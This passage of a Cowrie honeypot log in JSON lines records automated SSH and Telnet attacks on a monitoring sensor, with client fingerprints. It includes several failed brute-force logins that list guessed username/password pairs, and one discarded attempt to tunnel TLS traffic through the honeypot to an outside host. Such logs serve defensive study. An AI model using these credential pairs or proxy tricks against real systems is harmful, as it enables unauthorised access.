\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:01.160605Z","src_ip":"23.175.50.47","session":"cf6577e0605f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:01.262604Z","session":"cf6577e0605f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:01.337159Z","src_ip":"23.175.50.47","session":"cf6577e0605f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfe\\'Z\\xdf\\x8b\\xe3P\\xeb|!\\xba\\x838QGf\\x8a\\x16\\x84\\xb1r\\xb9\\x05\\xa2?q\\x00\\xdd\\xe9Hx\\x00 \\x0e\\xf9kw\\xc4\\xff\\x81\\xa9\\xfd4\\x94\\xdc\\xd3\\x98\\x86w\\x83\\x91L\\x06\\xac\\x82RN\\x7f\\x97\\xa7\\x9e\\xbf\\xf8\\x13\\xd6\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\xef\\xcc\\x9f\\xb2\\x1c\\x92x\\x8d}\\xc2=l\\xbba,t\\x7f\\xba\\xca\\x04\\x81\\xff\\xed\\x1a\\xdbh\\xd3\\xac\\xa8*\\x87]\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfe\\'Z\\xdf\\x8b\\xe3P\\xeb|!\\xba\\x838QGf\\x8a\\x16\\x84\\xb1r\\xb9\\x05\\xa2?q\\x00\\xdd\\xe9Hx\\x00 \\x0e\\xf9kw\\xc4\\xff\\x81\\xa9\\xfd4\\x94\\xdc\\xd3\\x98\\x86w\\x83\\x91L\\x06\\xac\\x82RN\\x7f\\x97\\xa7\\x9e\\xbf\\xf8\\x13\\xd6\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\xef\\xcc\\x9f\\xb2\\x1c\\x92x\\x8d}\\xc2=l\\xbba,t\\x7f\\xba\\xca\\x04\\x81\\xff\\xed\\x1a\\xdbh\\xd3\\xac\\xa8*\\x87]\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:01.340391Z","src_ip":"23.175.50.47","session":"cf6577e0605f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:02.261690Z","src_ip":"23.175.50.47","session":"cf6577e0605f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":53962,"dst_ip":"159.203.135.109","dst_port":22,"session":"0cd24c321033","protocol":"ssh","message":"New connection: 91.92.40.36:53962 (159.203.135.109:22) [session: 0cd24c321033]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:02.810777Z"}
{"eventid":"cowrie.session.closed","duration":"9.3","message":"Connection lost after 9.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:03.595322Z","src_ip":"91.92.40.36","session":"ff4c149fc4e2","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:04.280299Z","src_ip":"91.92.40.36","session":"0cd24c321033","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:04.283698Z","src_ip":"91.92.40.36","session":"0cd24c321033","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":44092,"dst_ip":"159.203.135.109","dst_port":22,"session":"5caa89cb92c6","protocol":"ssh","message":"New connection: 91.92.40.36:44092 (159.203.135.109:22) [session: 5caa89cb92c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:11.244603Z"}
{"eventid":"cowrie.login.failed","username":"haddock","password":"Admin2026","message":"login attempt [haddock/Admin2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:12.109081Z","src_ip":"91.92.40.36","session":"0cd24c321033","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:12.235363Z","src_ip":"91.92.40.36","session":"5caa89cb92c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":33594,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f6feca5cba3","protocol":"telnet","message":"New connection: 128.199.8.54:33594 (159.203.135.109:23) [session: 2f6feca5cba3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:12.625086Z"}
{"eventid":"cowrie.session.closed","duration":0.0046079158782958984,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:12.629575Z","src_ip":"128.199.8.54","session":"2f6feca5cba3","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:13.583096Z","src_ip":"91.92.40.36","session":"5caa89cb92c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.4","message":"Connection lost after 12.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:15.210225Z","src_ip":"91.92.40.36","session":"0cd24c321033","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":44750,"dst_ip":"159.203.135.109","dst_port":22,"session":"49a31c358bef","protocol":"ssh","message":"New connection: 91.92.40.36:44750 (159.203.135.109:22) [session: 49a31c358bef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:16.017933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:17.433647Z","src_ip":"91.92.40.36","session":"49a31c358bef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:17.466490Z","src_ip":"91.92.40.36","session":"49a31c358bef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"4321","message":"login attempt [ftptest/4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:22.901943Z","src_ip":"91.92.40.36","session":"5caa89cb92c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123","message":"login attempt [debian/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:23.172646Z","src_ip":"91.92.40.36","session":"49a31c358bef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.6","message":"Connection lost after 8.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:24.648126Z","src_ip":"91.92.40.36","session":"49a31c358bef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.1","message":"Connection lost after 14.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:25.302033Z","src_ip":"91.92.40.36","session":"5caa89cb92c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":16762,"dst_ip":"159.203.135.109","dst_port":22,"session":"e01e43174533","protocol":"ssh","message":"New connection: 91.92.40.36:16762 (159.203.135.109:22) [session: e01e43174533]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:25.908367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:26.181809Z","src_ip":"91.92.40.36","session":"e01e43174533","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:26.199949Z","src_ip":"91.92.40.36","session":"e01e43174533","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"tokiohotel","message":"login attempt [user/tokiohotel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:27.374368Z","src_ip":"91.92.40.36","session":"e01e43174533","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:28.753022Z","src_ip":"91.92.40.36","session":"e01e43174533","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":16794,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a38a1d2edc4","protocol":"ssh","message":"New connection: 91.92.40.36:16794 (159.203.135.109:22) [session: 6a38a1d2edc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:33.741652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:33.822006Z","src_ip":"91.92.40.36","session":"6a38a1d2edc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:33.922223Z","src_ip":"91.92.40.36","session":"6a38a1d2edc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"11111","message":"login attempt [ubuntu/11111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:34.363057Z","src_ip":"91.92.40.36","session":"6a38a1d2edc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:35.574508Z","src_ip":"91.92.40.36","session":"6a38a1d2edc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":41072,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f3b7fa70eaf","protocol":"ssh","message":"New connection: 91.92.40.36:41072 (159.203.135.109:22) [session: 6f3b7fa70eaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:40.524060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:40.942151Z","src_ip":"91.92.40.36","session":"6f3b7fa70eaf","protocol":"ssh"}
